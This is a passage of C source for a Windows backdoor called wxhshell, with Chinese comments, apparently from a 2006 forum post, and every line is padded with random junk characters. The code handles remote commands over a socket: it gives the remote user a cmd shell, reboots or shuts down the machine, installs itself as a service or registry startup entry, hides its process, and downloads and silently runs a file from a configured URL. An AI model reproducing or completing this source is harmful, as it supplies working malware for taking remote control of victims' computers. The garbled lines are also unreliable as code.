      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; t)3F  
    break; qfX6TV5J}!  
  } 44J]I\+  
  // 安装 Mg+2. 8%  
  case 'i': { M.JA.I@XC  
    if(Install()) i[i4h"$0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u"U1  
    else 6u?>M9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E[OJ+ ;c  
    break; {% 6}'  
    } O4 w(T  
  // 卸载 |o7[|3:M  
  case 'r': { BqEI(c 6  
    if(Uninstall()) r[e##M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?C]vS_jAh  
    else >:SHV W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PhLn8jNti  
    break; ]iVcog"T  
    } pt?bWyKG  
  // 显示 wxhshell 所在路径 NCveSP  
  case 'p': { )',R[|<  
    char svExeFile[MAX_PATH]; Q;Ak4 [  
    strcpy(svExeFile,"\n\r"); YH$-g  
      strcat(svExeFile,ExeFile); 53_Hl]#qZ  
        send(wsh,svExeFile,strlen(svExeFile),0); pR<`H'  
    break; SV4E0c>  
    } $+Z[K.2J  
  // 重启 WpDSg*fk=Y  
  case 'b': { aNsBcov3O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7lTC{7C57  
    if(Boot(REBOOT)) gE-tjoJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJUEYG  
    else { KV91)U  
    closesocket(wsh); \eTwXe]Pv  
    ExitThread(0); G+9,,`2  
    } 0mp/Le5  
    break; _!#@@O0p/h  
    } t[HE6ea  
  // 关机 XE RUo  
  case 'd': { 50h! X9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3F"lXguS  
    if(Boot(SHUTDOWN)) v@sIHb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qfF~D0}  
    else { D'>_I.  
    closesocket(wsh); cbjs9bu  
    ExitThread(0); H.P_]3f  
    } a"1t-x  
    break; #&+{mCjs  
    } T}Tp$.gB  
  // 获取shell yNBQGSH  
  case 's': { i%iL[id:w  
    CmdShell(wsh); e}voV0y\v:  
    closesocket(wsh);  y`iBFC;_  
    ExitThread(0); q~Hn -5H4Q  
    break; gE'sO T9v  
  } 8qoMo7-f  
  // 退出 Gf6p'(\zun  
  case 'x': { E*& vy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ha#= (9.  
    CloseIt(wsh); + /G2fhE  
    break; {L971W_L  
    } 2YL?,uLS  
  // 离开 +bxYG D  
  case 'q': { KRbvj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c2SO3g\"i  
    closesocket(wsh); >dXGee>'M  
    WSACleanup(); e)IzQ7Zex  
    exit(1); 2y\E[jA  
    break; rw[ph[\X  
        } d7^}tM  
  } yZ7&b&2nLn  
  } (y'hyJo  
zC:ASt  
  // 提示信息 b)#hSjWO#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OG~gFZr)6  
} n)/z0n!\  
  } ZmqKQO  
QpH'PYy  
  return; -/B+T>[nTb  
} Z3e| UAif  
uh_RGM&  
// shell模块句柄 yqs4[C  
int CmdShell(SOCKET sock) C.:<-xo  
{ u]wZQl#-  
STARTUPINFO si; .8g)av+  
ZeroMemory(&si,sizeof(si)); Eh`7X=Z7E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !.$I["/=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9)yJ: N#F  
PROCESS_INFORMATION ProcessInfo; .~db4d]  
char cmdline[]="cmd"; KM0ru  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  'c&Ed  
  return 0; T.F!+  
} *U-4Sy  
~G p [_ %K  
// 自身启动模式 .<?GS{6 N  
int StartFromService(void) yF:1( 4  
{ 0 JS?;fk  
typedef struct bRDYGuC  
{ Rh2+=N<X  
  DWORD ExitStatus; PNhe  
  DWORD PebBaseAddress; tIi&;tw]  
  DWORD AffinityMask; ldcqe$7,  
  DWORD BasePriority; 68|E9^`l  
  ULONG UniqueProcessId; S\EyCi+  
  ULONG InheritedFromUniqueProcessId; f%JIp#B  
}   PROCESS_BASIC_INFORMATION; ITQA0PI SL  
w(Ovr`o?9t  
PROCNTQSIP NtQueryInformationProcess; )}R0Y=e  
yN0Vr\r2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]! &FKy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tFn)aa~L  
n80?N}  
  HANDLE             hProcess; JG. y,<xW  
  PROCESS_BASIC_INFORMATION pbi; )m+W j  
F;EwQjTF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P:S.~Jq  
  if(NULL == hInst ) return 0; uc{Ihw  
hFUlNJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5~U/   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2W(s(-hD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I|!OY`ko  
h&iC;yj=  
  if (!NtQueryInformationProcess) return 0; P5V}#;v  
8nqG<!,q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c):/!Q  
  if(!hProcess) return 0; 539>WyG5  
Es`Px_k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DK~xrU'  
~Cttzn]pR  
  CloseHandle(hProcess); (x|T+c"bAX  
G>=*yqo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); octL"t8w  
if(hProcess==NULL) return 0; 2s8a $3  
bj^5yX;2  
HMODULE hMod; ?81c 4w  
char procName[255]; @{e}4s?7od  
unsigned long cbNeeded; ]q[D>6_  
l'1pw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~/U 1xk%  
}tu C}  
  CloseHandle(hProcess); t3ZOco@~P  
XJB)rP  
if(strstr(procName,"services")) return 1; // 以服务启动 I{&[[7H  
59L\|OR  
  return 0; // 注册表启动 v~C Czg  
} :4w ?#  
U>SShpmZA  
// 主模块 Vt~{Gu-Y  
int StartWxhshell(LPSTR lpCmdLine) Pm?KI<TH~  
{ (E 3b\lST  
  SOCKET wsl; nW:C/{n2tG  
BOOL val=TRUE; !F-w3 ]  
  int port=0; [DOckf oZx  
  struct sockaddr_in door; 'oVx#w^mf  
A\DCW  
  if(wscfg.ws_autoins) Install(); )q4[zv9  
B-Hrex]  
port=atoi(lpCmdLine); e>OoyDZ@R  
UDFDJm$  
if(port<=0) port=wscfg.ws_port; Z\rwO>3  
4"ZP 'I;  
  WSADATA data; YP<ms  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _61gF[r4!Y  
gJ+'W1$/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MjRHA^b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $HzBD.CF|x  
  door.sin_family = AF_INET; =XQ%t @z0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RP|`HkP-2  
  door.sin_port = htons(port); DCa^ u'f  
9=tIz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d-ko ^Y0  
closesocket(wsl); G*MUO#_iuh  
return 1; 7A7?GDW  
} **CR} yV  
>'$Mp<  
  if(listen(wsl,2) == INVALID_SOCKET) { Y@iS_lR  
closesocket(wsl); .Hm>i  
return 1; >:!5*E5?  
} /N .b%M] !  
  Wxhshell(wsl); M _f:A  
  WSACleanup(); c6]U E@A  
s8Q 5ui]  
return 0; :-Z2:/P  
qR{=pR  
} hfTY.  
?^{Ah}x  
// 以NT服务方式启动 OT*mO&Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I{2hfKUe`  
{ Om@;J%u/  
DWORD   status = 0; 5DZ#9m/  
  DWORD   specificError = 0xfffffff; gD?l-RT>  
$PPi5f}HD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zi i   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q&;9 x?e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?V=ZIGj  
  serviceStatus.dwWin32ExitCode     = 0; r u%y  
  serviceStatus.dwServiceSpecificExitCode = 0; EZGIf/ 3  
  serviceStatus.dwCheckPoint       = 0; qDIZJ h  
  serviceStatus.dwWaitHint       = 0; U)gH}0n&  
=WATyY:s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #!# l45p6  
  if (hServiceStatusHandle==0) return; gf@:R'$:+  
*fxG?}YT  
status = GetLastError(); @.l@\4m  
  if (status!=NO_ERROR) T -2t.Xs  
{ aXYY:;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y.UFbrv  
    serviceStatus.dwCheckPoint       = 0; 'H!Uh]!  
    serviceStatus.dwWaitHint       = 0; BU_nh+dF  
    serviceStatus.dwWin32ExitCode     = status; AT3Mlz~7#  
    serviceStatus.dwServiceSpecificExitCode = specificError; tNI^@xdim1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  8nJpp  
    return; dn3y\  
  } m(!FHPvN  
Fxz"DZY6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fr3d  
  serviceStatus.dwCheckPoint       = 0; y%T_pTcU  
  serviceStatus.dwWaitHint       = 0; SnfYT)Ph  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \2$|Ei7  
} \8cx6 G'  
w@E3ZL^  
// 处理NT服务事件,比如:启动、停止 niyV8v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tWRC$  
{ 9A=,E&  
switch(fdwControl) 4HlQ&2O%#  
{ M2Qr(K|  
case SERVICE_CONTROL_STOP: (A#^l=su  
  serviceStatus.dwWin32ExitCode = 0; 0e4{{zQx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }Y\%RA  
  serviceStatus.dwCheckPoint   = 0; EQM {  
  serviceStatus.dwWaitHint     = 0; T8g$uFo  
  { `;C  V=,M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q2gq}c~  
  } TeM|:o  
  return; QWYJ *  
case SERVICE_CONTROL_PAUSE: m_]Y{3C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xv^qVn4  
  break; i/4>2y9/F4  
case SERVICE_CONTROL_CONTINUE: tD)J*]G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ga+dt  
  break; ux4POO3C|  
case SERVICE_CONTROL_INTERROGATE: i_%_x*  
  break; o+'6`g'8  
}; 0l6.<-f{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bH~dJFj/  
} &u !,Hp  
02^rV*re  
// 标准应用程序主函数 mzgfFNm^G)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zy/_ E@C}u  
{ ;=z:F<Y  
4WB0Pt{  
// 获取操作系统版本 fJg+Ryo  
OsIsNt=GetOsVer(); xJe%f\UDu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PW0LG^xp`  
oEv 'dQ9  
  // 从命令行安装 bt?5*ETA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~xFkU#  
QXK{bxwC  
  // 下载执行文件 W=?<<dVYD  
if(wscfg.ws_downexe) { ? J0y|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bzf^ivT3L  
  WinExec(wscfg.ws_filenam,SW_HIDE); I?CZQ+}Hq  
} i ct])  
H5|;{q:j  
if(!OsIsNt) { 6=C<>c %+  
// 如果时win9x,隐藏进程并且设置为注册表启动 tw@X> G1z  
HideProc(); PJ#,2=n~  
StartWxhshell(lpCmdLine); ~n_HP_Kf?  
} He@KV=  
else UN#S;x*  
  if(StartFromService()) TWTb?HP  
  // 以服务方式启动 ?@x/E&  
  StartServiceCtrlDispatcher(DispatchTable); : A;RH  
else i%?*@uj  
  // 普通方式启动 OyIw>Wfv  
  StartWxhshell(lpCmdLine); "AqB$^S9t  
8oGRLYU N  
return 0; 2 %]X+`+O  
}
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只看该作者 1 发表于: 2006-10-10
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